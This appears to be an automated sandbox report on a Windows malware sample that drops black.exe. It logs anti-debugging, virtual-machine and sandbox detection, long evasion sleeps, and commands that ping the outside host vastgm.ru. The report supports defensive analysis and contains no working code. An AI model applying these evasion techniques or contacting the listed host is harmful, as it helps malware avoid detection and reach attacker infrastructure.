Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	System information queried: FirmwareTableInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Memory allocated: CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Memory allocated: 2520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Memory allocated: 4520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Memory allocated: 4A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Memory allocated: 6A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Memory allocated: 6CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Memory allocated: 8CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Memory allocated: 2530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Memory allocated: 2670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Memory allocated: 4670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Memory allocated: 4C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Memory allocated: 6C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Memory allocated: 6ED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Memory allocated: 8ED0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Window / User API: threadDelayed 2118	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Window / User API: threadDelayed 1185	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Window / User API: threadDelayed 2024	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Window / User API: threadDelayed 1110	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 375

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-25992

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 2596	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 2596	Thread sleep time: -59000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 5900	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 3164	Thread sleep count: 2118 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 2696	Thread sleep count: 276 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 6364	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 6364	Thread sleep time: -42000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 348	Thread sleep count: 109 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 5900	Thread sleep count: 124 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 5900	Thread sleep time: -124000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 6988	Thread sleep count: 1185 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe TID: 4944	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 792	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 792	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 4924	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 5896	Thread sleep count: 2024 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 5420	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 5420	Thread sleep time: -71000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 2060	Thread sleep count: 84 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 5892	Thread sleep count: 1110 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 4924	Thread sleep count: 141 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 4924	Thread sleep time: -141000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe TID: 5876	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9D40BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6CA9D40BC
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9EB190 SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6CA9EB190
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9FFCA0 FindFirstFileExA,	0_2_00007FF6CA9FFCA0

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9F16A4 VirtualQuery,GetSystemInfo,

0_2_00007FF6CA9F16A4

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Thread delayed: delay time: 120000	Jump to behavior

Source: Y5kEUsYDFr.exe, 00000000.00000002.4145231704.0000017ACB886000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: black.exe, 00000007.00000002.4147454579.0000000002671000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VBoxService
Source: black.exe, 00000001.00000002.4145831872.00000000006E4000.00000004.00000020.00020000.00000000.sdmp, black.exe, 00000007.00000002.4145663567.00000000008E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9F3170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6CA9F3170

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CAA00D20 GetProcessHeap,

0_2_00007FF6CAA00D20

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9F3354 SetUnhandledExceptionFilter,	0_2_00007FF6CA9F3354
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9F2510 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6CA9F2510
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9F3170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6CA9F3170
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9F76D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6CA9F76D8

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9EB190 SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6CA9EB190

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru	Jump to behavior
